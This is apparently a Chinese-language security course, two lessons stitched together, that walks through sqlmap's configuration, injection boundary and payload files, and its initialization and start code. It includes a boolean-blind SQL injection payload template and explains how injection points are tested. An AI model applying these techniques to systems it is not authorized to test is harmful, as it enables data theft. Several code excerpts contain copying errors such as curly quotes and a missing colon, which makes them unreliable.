# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Direct connection to the database.
# Examples:
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
direct =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
# 'conversations/' folder path
logFile =
# Scan multiple targets enlisted in a given textual file
bulkFile =
# Load HTTP request from a file
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
requestFile =
# At least one of these options has to be specified to set the source to
# get target URLs from.
[Target]
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Direct connection to the database.
# Examples:
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
direct =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
# 'conversations/' folder path
logFile =
# Scan multiple targets enlisted in a given textual file
bulkFile =
# Load HTTP request from a file
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
requestFile =
......
# Force back-end DBMS operating system to provided value. If this option is
# set, the back-end DBMS identification process will be minimized as
# needed.
# If not set, sqlmap will detect back-end DBMS operating system
# automatically by default.
# Valid: linux, windows
os =
......
由于配置文件很长所以这里没有全部展示出来。我们需要知道的是配置文件的参数配置可以对sqlmap程序运行的流程产生影响。举个例子在配置文件中可以设置OS配置项sqlmap就无需探测操作系统的类型了这样就可以帮助我们在一些特定情况下优化sqlmap的执行速度。
看完配置文件之后我们回忆一下之前学过的内容在做SQL注入时都需要经历哪些步骤呢
我们知道一般来说SQL注入攻击可以分为三步首先是寻找注入点之后要选择闭合参数的位置最后要根据需求选择合适的payload来实现我们的注入攻击操作。
sqlmap和手动SQL注入的思想是相似的程序可以直接从请求的参数中获取到注入点位置的信息而闭合参数的位置和payload的选择则会因为它们的多样性变得略微复杂下面就让我们一起来看看与之相关的两个配置文件。
我们先来看sqlmap中闭合参数的配置内容这里举个例子帮助你来理解什么是闭合参数。以一个典型的SQL注入语句为例
SELECT id FROM users WHERE name = '$name';
想要对其进行注入就需要将name参数闭合这在前两节课中有过较深入的探讨。
对于sqlmap而言data.xml.boundaries.xml就是用于闭合参数的配置文件通过该文件我们可以确定闭合元素的字符和位置等等信息了解该文件有助于我们理解sqlmap真正发送的测试payload的格式关于payload格式这部分的内容我们会在下一讲具体的讲解。
<?xml version="1.0" encoding="UTF-8"?>
<!--
Tag: <boundary>
How to prepend and append to the test ' <payload><comment> ' string.
Sub-tag: <level>
From which level check for this test.
Valid values:
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <clause>
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
......
而关于payload这一部分就让我们看一看sqlmap中payload的配置文件夹data.xml.payloads/。这个文件夹储存有不同注入攻击类型的payload信息。
该文件夹下的每一个文件都与程序中一个重要的结构test息息相关它是一个payload的基本信息单元每个test里面包含了一个完整的payload需要的信息 sqlmap发送的攻击载荷就是在此基础上进行加工得出的如下代码就是这个文件夹下的boolean_blind.xml文件的部分内容这里我们选取了完整的test结构方便你了解。
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>#</comment>
</request>
<respons e>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
可以看到它的结构内部定义攻击类型、方式、生效位置、关联数据库等等信息。-
至此我们大致了解了sqlmap工作的底层依赖。下一步只需要分析和掌握sqlmap的运行过程日后在使用中我们就可以更加得心应手。
sqlmap作为一个规模较大的工具在启动过程中首先会执行一些初始化操作下面就让我们一起学习sqlmap的初始化过程通过这部分内容你可以明白sqlmap在启动之初做了哪些事情。
初始化过程
sqlmap的初始化过程包含四个步骤环境初始化、命令行参数的解析、全局变量的赋值以及运行环境的检查。我们将结合代码和图片注释顺着sqlmap代码运行的顺序详细讲述每一个步骤。下面让我们从环境初始化开始吧。
环境初始化
首先我们会发现sqlmap的入口文件是sqlmap.py这个文件的main如下所示
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
pass
except SystemExit:
raise
except:
traceback.print_exc()
finally:
if threading.active_count() > 1:
os._exit(getattr(os, "_exitcode", 0))
else:
sys.exit(getattr(os, "_exitcode", 0))
else:
__import__("lib.controller.controller")
根据main函数的名字我们可以知道程序的核心逻辑一定被封装在了mian函数里面。因此我们可以进入到mian函数里查看。
def main():
try:
dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions)
if checkPipedInput():
conf.batch = True
if conf.get("api"):
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
setRestAPILog()
conf.showTime = True
dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
init()
进入到mian函数之后我们就会发现环境初始化初始化过程的代码就在这里该过程引入了两个重要数据容器的映射conf和kb。他们都是全局的环境变量是存储程序运行中间数据和信息数据的容器其中sqlmap的结果信息、注入信息、控制信息都是通过它们进行读写来完成程序的执行的。这部分内容我们会在下节课展开。
from lib.core.data import conf
from lib.core.data import kb
在这里为了你更好地理解它们我们先来看看这两个数据结构是什么这里我们可以找到lib.core.data.py文件进行观察。
# object to share within function and classes command
# line options and settings
conf = AttribDict()
# object to share within function and classes results
kb = AttribDict()
可以发现这两个数据结构是作者自己封装的函数封装的主要目的是实现深拷贝__deepcopy__ 这个魔法函数。通过这种方式Python内容数据的拷贝操作会被大大优化。
class AttribDict(dict):
......
def __deepcopy__(self, memo):
retVal = self.__class__()
memo[id(self)] = retVal
for attr in dir(self):
if not attr.startswith('_'):
value = getattr(self, attr)
if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo))
return retVal
接下来我们继续观察main函数。
dirtyPatches() # 补丁函数
resolveCrossReferences() # 消除交叉引用
checkEnvironment() # 检查环境
setPaths(modulePath()) # 如果使用py2exe 作为file获取程序路径的替代 设置绝对路径
banner()
我们可以看到程序在进入到try语句之后首先会执行几个函数。
第一个函数是dirtyPatches() ,它是一个补丁函数。
def dirtyPatches():
"""
Place for "dirty" Python related patches
"""
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
_http_client._MAXLINE = 1 * 1024 * 1024
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
if six.PY3:
if not hasattr(_http_client.HTTPConnection, "__send_output"):
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
def _send_output(self, *args, **kwargs):
if conf.get("chunked") and "encode_chunked" in kwargs:
kwargs["encode_chunked"] = False
self.__send_output(*args, **kwargs)
_http_client.HTTPConnection._send_output = _send_output
# add support for inet_pton() on Windows OS
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
# Reference: http://bugs.python.org/issue17849
if hasattr(_http_client, "LineAndFileWrapper"):
def _(self, *args):
return self._readline()
_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline
_http_client.LineAndFileWrapper.readline = _
# to prevent too much "guessing" in case of binary data retrieval
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
if match and match.group(1).upper() != PLACE.POST:
PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1))
# https://github.com/sqlmapproject/sqlmap/issues/4314
try:
os.urandom(1)
except NotImplementedError:
if six.PY3:
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
之所称它为补丁函数呢是因为这个函数功能主要用来处理sqlmap的一些历史信息。例如支持Python2升级Python3、支持Windows平台的inet_pton()函数、限制httplib的最大行长度等等。这些操作对sqlmap的实际功能影响并不是特别大属于保证用户体验和系统设置的正常选项我们不需要过多关心。
接下来是resolveCrossReferences函数它的作用是消除交叉引用。我们通过下面这个示例理解下什么是交叉引用。
```python
a.py
from b import b_var
a_var = 1
b.py
from a import a_var
b_var = 2
这就是一个交叉引用的示例,文件`a.py`和`b.py`互相引用导致了运行的python解释器报错。为了避免交叉引用引起这样的问题这里我们选择通过`resolveCrossReferences()`函数来消除交叉引用。
```python
def resolveCrossReferences():
“””
Place for cross-reference resolution
“””
lib.core.threads.isDigit = isDigit
lib.core.threads.readInput = readInput
lib.core.common.getPageTemplate = getPageTemplate
lib.core.convert.filterNone = filterNone
lib.core.convert.isListLike = isListLike
lib.core.convert.shellExec = shellExec
lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage
lib.core.option._pympTempLeakPatch = pympTempLeakPatch
lib.request.connect.setHTTPHandlers = _setHTTPHandlers
lib.utils.search.setHTTPHandlers = _setHTTPHandlers
lib.controller.checks.setVerbosity = setVerbosity
lib.utils.sqlalchemy.getSafeExString = getSafeExString
thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode
sqlmap在消除交叉引用之后程序会开始运行检查环境的函数checkEnvironment()。
def checkEnvironment():
try:
os.path.isdir(modulePath())
except UnicodeEncodeError:
errMsg = “your system does not properly handle non-ASCII paths. “
errMsg += “Please move the sqlmaps directory to the other location”
logger.critical(errMsg)
raise SystemExit
if LooseVersion(VERSION) < LooseVersion(“1.0”):
errMsg = “your runtime environment (e.g. PYTHONPATH) is “
errMsg += “broken. Please make sure that you are not running “
errMsg += “newer versions of sqlmap with runtime scripts for older “
errMsg += “versions”
logger.critical(errMsg)
raise SystemExit
# Patch for pip (import) environment
if “sqlmap.sqlmap” in sys.modules:
for _ in (“cmdLineOptions”, “conf”, “kb”):
globals()[_] = getattr(sys.modules[“lib.core.data”], _)
for _ in (“SqlmapBaseException”, “SqlmapShellQuitException”, “SqlmapSilentQuitException”, “SqlmapUserQuitException”):
globals()[_] = getattr(sys.modules[“lib.core.exception”], _)
checkEnvironment函数会对当前的环境进行初步检查检查的内容包括存放sqlmap的路径是否包含非ASCII字符以及sqlmap的版本是否小于1.0。
下一个函数setPaths(modulePath())是用来给项目中的文件夹和文件设置绝对路径的。
def setPaths(rootPath):
"""
Sets absolute paths for project directories and files
"""
paths.SQLMAP_ROOT_PATH = rootPath
# sqlmap paths
paths.SQLMAP_DATA_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "data")
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "txt")
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "udf")
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "xml")
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
# sqlmap files
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
for path in paths.values():
if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")):
checkFile(path)
if IS_WIN:
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
if os.getenv("LOCALAPPDATA"):
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
elif os.getenv("USERPROFILE"):
paths.SQLMAP_HOME_PATH = os.path.expandvars("%USERPROFILE%\\Local Settings\\sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), "sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
if "XDG_DATA_HOME" in os.environ:
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# History files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
设置完绝对路径后我们可以看到sqlmap运行了一个banner函数它对于sqlmap的运行没有实际的作用但是作者可以通过banner函数绘制一幅字符画是不是很酷
下方是banner函数的代码你在构建自己工具的时候也可以考虑引入这种有趣的小函数为你的工具增添个性化色彩让它看起来又酷又实用。
def banner():
"""
This function prints sqlmap banner with its version
"""
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
result = BANNER
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
result = clearColors(result)
elif IS_WIN:
coloramainit()
dataToStdout(result, forceOutput=True)
命令行参数解析
经过上面的函数执行之后,基本环境已经配置好了,程序将开始处理用户的输入,包括有命令行参数以及配置的文件参数。
def main():
"""
Main function of sqlmap when running from command line.
"""
try:
dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions)
全局变量赋值与环境检查
在接收用户的输入参数之后程序开始进入init方法这个方法是一个重要的前期配置方法里面包含大量的配置操作这些操作我们可以进入函数中观察。
def init():
_useWizardInterface() # 启动引导模式
setVerbosity() # 设置默认的日志输出详细度
_saveConfig() # 保存当前扫描的配置
_setRequestFromFile() # 解析 request file 的文件内容
_cleanupOptions() # 为 conf 中的参数赋初值
_cleanupEnvironment()
_purge() # 清空 sqlmap 相关信息
_checkDependencies() # 检查是否缺失依赖
_createHomeDirectories() # 创建 output、history 目录
_createTemporaryDirectory() # 创建临时目录
_basicOptionValidation() # 验证部分参数值是否符合预期
_setProxyList() # 解析 proxy file 的文件内容
_setTorProxySettings() # 设置 tor 代理
_setDNSServer() # 创建 DNS 服务器
_adjustLoggingFormatter() # 初始化日志格式化工具
_setMultipleTargets() # 解析 burp log 的文件内容
_listTamperingFunctions() # 输出 tamper 的详细信息
_setTamperingFunctions() # 设置后续要调用的 tamper
_setPreprocessFunctions() # 设置处理请求的函数
_setPostprocessFunctions() # 设置处理响应的函数
_setTrafficOutputFP() # 创建 trafficFile 并获取文件句柄
_setupHTTPCollector() # 创建 HAR 文件
_setHttpChunked() # 设置 chunked
_checkWebSocket() # 检查 websocket 环境是否正常
parseTargetDirect() # 解析数据库链接
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
_setHostname() # 设置 conf 中的 hostname
_setHTTPTimeout() # 设置请求最大超时时间
_setHTTPExtraHeaders() # 设置请求的 headers
_setHTTPCookies() # 设置请求的 cookies
_setHTTPReferer() # 设置请求的 referer
_setHTTPHost() # 设置请求的 host
_setHTTPUserAgent() # 设置请求的 UA
_setHTTPAuthentication() # 设置请求的认证信息
_setHTTPHandlers() # 设置对应的请求处理类
_setDNSCache() # 设置 dns 缓存
_setSocketPreConnect()
_setSafeVisit()
_doSearch() # 处理 Google Dork 解析
_setStdinPipeTargets() # 从 pipeline 中获取 targets
_setBulkMultipleTargets() # 从文本中获取 targets
_checkTor() # 检查 tor 代理
_setCrawler() # 设置爬虫信息
_findPageForms() # 寻找页面中的表单
_setDBMS() # 设置 DBMS
_setTechnique() # 设置检测类型
_setThreads() # 设置线程数
_setOS() # 设置操作系统类型
_setWriteFile() # 设置文件写入信息
_setMetasploit() # 设置 MSF 信息
_setDBMSAuthentication() # 设置 DBMS 的认证信息
loadBoundaries() # 加载 Boundaries
loadPayloads() # 加载 Payloads
_setPrefixSuffix() # 设置新的 prefix 和sufix
update() # 更新 sqlmap
_loadQueries() # 加载 queries
其实我们只需要根据后面的注释,了解每个函数大概实现的功能就可以了,它们有些与初始化配置文件相关,有些与实际攻击过程相关。实际上,这里只是会初步解析命令行传入的参数,并不涉及到大部分函数的调用过程,在这里我们不需要理解的很细致,我们的核心关注点应该在注入逻辑上。
init()
if not conf.updateAll:
# Postponed imports (faster start)
if conf.smokeTest:
from lib.core.testing import smokeTest
os._exitcode = 1 - (smokeTest() or 0)
elif conf.vulnTest:
from lib.core.testing import vulnTest
os._exitcode = 1 - (vulnTest() or 0)
else:
from lib.controller.controller import start
if conf.profile:
from lib.core.profiling import profile
globals()["start"] = start
profile()
else:
try:
if conf.crawlDepth and conf.bulkFile:
targets = getFileItems(conf.bulkFile)
for i in xrange(len(targets)):
target = None
try:
kb.targets = OrderedSet()
target = targets[i]
if not re.search(r"(?i)\Ahttp[s]*://", target)
target = "http://%s" % target
infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets))
logger.info(infoMsg)
crawl(target)
except Exception as ex:
if target and not isinstance(ex, SqlmapUserQuitException):
errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
else:
raise
else:
if kb.targets:
start()
学习完毕init方法之后我们就完成了整个初始化过程。
总结
这节课我们学习了自动化SQL注入测试工具sqlmap的设计思路。
作为业内知名且常用的SQL自动化注入工具sqlmap已经持续维护了超过10年的时间。作为有梦想的工程师我们不仅需要掌握如何使用sqlmap更要学习它的设计思想和工作原理站在巨人的肩膀上才能帮助我们看的更远。
sqlmap的代码量十分庞大因为掌握其核心设计思想和工作原理就十分重要这会成为我们深入代码逻辑探索的风向标。因此在了解如何获取sqlmap代码以及如何搭建sqlmap的运行环境后我们进一步学习了sqlmap设计原理的相关知识比如sqlmap的配置文件介绍等。
接下来与大部分开源软件的设计思路类似sqlmap在真正开始工作前需要做大量的初始化工作因此我们对sqlmap的初始化流程进行了梳理。经过分析总结出它主要包含有全局变量初始化、命令行参数解析、全局变量赋值以及环境检查这四个通用的初始化步骤然后我们又具体学习了这四个流程是如何实现的。
在学习完sqlmap的初始化后很快我们就会进入sqlmap的工作流程学习这时我们需要重新审视sqlmap的设计架构了解我们所处的位置。
这是我整理的一幅sqlmap工作原理图在本节课我们学习了sqlmap工作前的初始化流程这些内容可以帮助你认识到sqlmap设计时的底层逻辑。下节课我们将正式开始学习sqlmap的自动化注入功能它的起点是预注入也是我们在前几节课程中所讲的起手式阶段。
思考
sqlmap的初始化流程有什么值得改进的地方吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,406 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
15 自动化注入神器sqlmap的设计架构解析
你好,我是王昊天。
在上节课中我们认识了一款自动化注入测试工具sqlmap并对它的初始化过程有了深入了解。在完成了初始化之后大部分软件就会开始进入正式的工作流程了而这节课我们就将开始学习sqlmap的工作流程。
在介绍sqlmap的工作流程之前你可以先思考一个问题我们平时是如何进行SQL注入测试的如果让你来设计一个自动化注入测试工具将平时手动实现的SQL注入测试步骤转化为机器的自动化实现会遇到什么困难吗
自动化注入的主要难点与人工注入会有一些差异比如人工很容易判断目标是否受到waf保护也可以更好地观测注入结果而让机器做同样的事情则是一件不容易的事情。
对于人工而言你可以发送一个容易被waf拦截的payload通过这样的方式来观察页面的响应进而判断waf是否存在。可是机器要如何实现呢相信学完这篇课程你可以解决这个问题。
在上一节课中我们对sqlmap.py中的main函数进行了拆解具体分析了init函数的主要功能而init函数之后就是start函数 。所以在这节课程中我们会接着上一节课的内容继续分析sqlmap.py中的main函数主要讲解start函数实现的功能和方法。
start函数
在系统运行完sqlmap的初始化流程后就会进入到start函数中也就是我们这节课需要学习的主要内容。为了方便大家理解可以将它主要分为四个部分即准备工作、循环遍历目标、处理输入参数以及判断waf的存在。
这是我绘制的一幅start函数拆解图图中解释了四个部分分别做了哪些工作。
为了让你更好的理解start函数的功能下面我们一起来看看start函数的内容。
@stackedmethod
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
# 这个配置并没有体现在命令行上,属于测试功能,可忽略。
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
# 这个配置设定url和爬虫深度。
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
targetCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
# 这个配置输出目标数量信息。
targetCount += 1
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
这里你可以结合代码中的注释进行阅读接下来我们会详细展开start函数的每一部分因此这里你只需要对start函数的行为有个大概了解即可。
准备工作
start函数首先会进行一些针对目标的配置工作配置结束之后程序将开始利用for循环对每一个目标进行特定的操作包括检测网络的连通性检测是否使用随机UA信息、是否配置post数据、提取检测参数、以及过滤用户排除的目标等。
下面让我们逐一观察它们对应的代码结构,来帮助你加深理解。
循环遍历目标
首先是用for循环处理每一个目标的代码可以看到for循环处理目标的代码中包含了对网络连通性的测试。
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
targetCount += 1
try:
# 网络连通性测试
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
dataToStdout(warnMsg)
valid = False
for _ in xrange(conf.retries):
if checkInternet():
valid = True
break
else:
dataToStdout('.')
time.sleep(5)
if not valid:
errMsg = "please check your Internet connection and rerun"
raise SqlmapConnectionException(errMsg)
else:
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
接下来系统会开始提取一系列数据这些数据会在HTTP请求中用到包括请求的网址、cookies信息等。
conf.url = targetUrl
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
完成了数据提取系统会检查请求参数这个步骤会分为3个子步骤分别是配置随机的User-Agent信息、判断用户是否指定了用POST方式上传的数据、以及对目标的url进行合理性检查。
# 配置随机UA信息
if conf.randomAgent or conf.mobile:
for header, value in initialHeaders:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.httpHeaders.append((header, value))
break
# ...
# 判断是否指定了POST数据
if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
# ...
# URL合理性检查
initTargetEnv()
parseTargetUrl()
完成这部分工作之后sqlmap会有一个魔法操作如果你理解了sqlmap的工作原理就可以很容易理解这个魔法操作了但如果你不理解它一定会带给你不少痛苦这个魔法操作就是缓存检查。
sqlmap会判断当前的查询在缓存中是否存在如果存在就说明sqlmap之前已经进行过同样的检查了这时它就会跳过当前的检查目标如果当前查询不存在才会执行SQL注入攻击。我就曾经对同一目标执行多次SQL注入攻击然后陷入了这个问题中排查了很久才得以脱身。
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message, default='Y', boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
处理输入参数
此时sqlmap会进入start函数内部的第四个步骤也就是处理输入参数。除了设置一些存储信息和配置结果文件还会针对性地处理一些请求数据这部分的处理过程会在setRequestParams函数中进行。
为了大家更好的理解_setRequestParams()这个函数我在下面列出了它的部分代码其中包括了它对请求参数get、post、注入点标记、cookie、header以及csrf-token的处理过程大家可以结合代码中的注释更加深入地理解这个函数看看它是如何处理请求参数的。
def _setRequestParams():
# ...
# 检查请求的get参数若有将它存储起来供测试时使用。
if conf.parameters.get(PLACE.GET):
parameters = conf.parameters[PLACE.GET]
paramDict = paramToDict(PLACE.GET, parameters)
if paramDict:
conf.paramDict[PLACE.GET] = paramDict
testableParameters = True
# 检查请求的post参数若有将它存储起来供测试使用。
if conf.method == HTTPMETHOD.POST and conf.data is None:
logger.warn("detected empty POST body")
conf.data = ""
if conf.data is not None:
conf.method = conf.method or HTTPMETHOD.POST
# ...
conf.parameters[PLACE.POST] = conf.data
# ...
# 检查是否有get参数、post参数。
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
# 若没有找到get参数和post参数系统会发出警告信息。
warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters "
warnMsg += "through option '--data'"
logger.warn(warnMsg)
message = "do you want to try URI injections "
message += "in the target URL itself? [Y/n/q] "
# ...
